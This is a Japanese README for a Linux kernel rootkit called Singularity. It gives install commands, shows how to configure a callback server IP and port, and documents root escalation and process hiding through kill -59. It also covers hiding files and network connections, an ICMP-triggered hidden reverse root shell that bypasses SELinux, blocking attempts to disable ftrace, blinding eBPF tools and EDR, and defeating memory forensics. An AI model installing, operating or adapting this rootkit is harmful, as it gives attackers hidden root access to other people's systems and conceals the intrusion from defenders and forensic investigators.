
「フォレンジックに少し仕事をさせてやろうか?」
Singularity は、モダンな6.xカーネル向けに設計された強力なLinuxカーネルモジュール(LKM)ルートキットです。ftraceインフラストラクチャを介した高度なシステムコールフッキングにより、包括的なステルス機能を提供します。
完全な研究記事(旧バージョン): Singularity: A Final Boss Linux Kernel Rootkit
EDR回避ケーススタディ: Bypassing Elastic EDR with Singularity
POC動画: Singularity vs eBPFセキュリティツール: Singularity vs eBPF security tools
SingularityフックによるeBPFセキュリティの突破: Breaking eBPF
Singularity Rootkit: Elastic Defendのモジュールロード検知の回避 Bypassing Elastic Defend
Singularityはカーネルレベルで動作する高度なルートキットであり、以下を提供します:
/sys/fs/cgroup/*/cgroup.procsを介した検知を防ぐCgroup PIDフィルタリングcopy_mc_to_kernelへのkprobeがLiMEのページコピーを傍受し、モジュールページと隠蔽されたtask_struct範囲をゼロ化バッファにリダイレクト;AVMLは/proc/kcore読み取りフックでブロックcd /dev/shm
git clone https://github.com/MatheuZSecurity/Singularity
cd Singularity
sudo bash setup.sh
cd ..
これで完了です。モジュールは自動的に以下を行います:
モジュールはロード後に自動的に自身を隠します
アンロード機能はありません - 削除するには再起動が必要です
まず VM でテストしてください - 再起動しない限り削除できません
include/core.h を編集してください:
#define YOUR_SRV_IP "192.168.1.100" // Change this to your server IP
#define YOUR_SRV_IPv6 { .s6_addr = { [15] = 1 } } // IPv6 if needed
modules/icmp.c を編集:
#define SRV_PORT "8081" // Change this to your desired port
modules/bpf_hook.c を編集:
#define HIDDEN_PORT 8081 // Must match SRV_PORT
modules/hiding_tcp.c を編集:
#define PORT 8081 // Must match SRV_PORT
重要: ネットワーク隠蔽とICMPリバースシェル機能を正しく動作させるには、すべてのポート定義が一致している必要があります。
# Hide current shell
kill -59 $$
# Hide specific process
kill -59 <PID>
プロセスは ps、top、htop、/proc、およびすべての監視ツールから見えなくなります。すべての子プロセスは自動的に追跡され、隠蔽されます。
設定したパターンに一致するファイルは自動的に隠蔽されます:
mkdir singularity
echo "secret" > singularity/data.txt
# Invisible to ls, find, locate
ls -la | grep singularity
# (no output)
# But you can still access it
cat singularity/data.txt
# secret
# cd is blocked for security
cd singularity
# bash: cd: singularity: No such file or directory
シグナルベースの方法:
kill -59 $$
id # uid=0(root)
設定されたポート(デフォルト: 8081)上の接続は自動的に隠されます:
nc -lvnp 8081
# Invisible to all monitoring
ss -tulpn | grep 8081 # (no output)
netstat -tulpn | grep 8081 # (no output)
lsof -i :8081 # (no output)
cat /proc/net/nf_conntrack | grep 8081 # (no output)
# Even advanced netlink queries are filtered
ss -tapen | grep 8081 # (no output)
conntrack -L | grep 8081 # (no output)
パケットは raw ソケットレベル(tpacket_rcv)でドロップされ、以下から隠蔽されます:
SELinux バイパスを自動で行い、隠蔽されたリバースシェルをリモートで起動します:
1. リスナーを起動:
nc -lvnp 8081 # Use your configured port
2. ICMP トリガーを送信:
sudo python3 scripts/trigger.py <target_ip>
3. root シェルの取得(すべての子プロセスとともに自動的に隠蔽され、SELinux が有効な場合は enforcing モードがバイパスされます)
ftrace を無効化しようとするすべての試みは、通知されることなく傍受され、ブロックされます:
echo 0 > /proc/sys/kernel/ftrace_enabled # Appears successful but does nothing
保護されたシステムコール: write, writev, pwrite64, pwritev, pwritev2, sendfile, sendfile64, splice, vmsplice, tee, copy_file_range, io_uring_enter(インテリジェントなPID単位のキャッシュ付き)
bpf_hook.cモジュールは、eBPFベースのセキュリティツールに対する高度な検出回避システムを実装しています。BPFシステムコールを完全にブロックする(これは検出の指紋となる)のではなく、カーネルレベルでデータを選択的にフィルタリングし、隠蔽されたプロセスや接続をeBPFプログラムから見えなくします。
戦略: BPFシステムコール自体ではなく、eBPFプログラムが使用するデータ収集およびレポート機能を傍受します。これにより、正規のeBPFツールは通常どおり動作しつつ、隠蔽されたリソースを見ることができなくなります。
保護対象リソース:
傍受ポイント:
このアプローチは、BPF操作を完全にブロックすることで発生するアラートをトリガーすることなく、eBPFセキュリティツールを無効化します。
ftrace_enabledおよびtracing_onの試行におけるio_uringバイパスに対する保護(PIDごとに1秒のキャッシュによるインテリジェントなキャッシュで、繰り返しのプロセススキャンを防ぎオーバーヘッドを削減)
すべてのカーネルログインターフェースから機密文字列をリアルタイムでフィルタリング: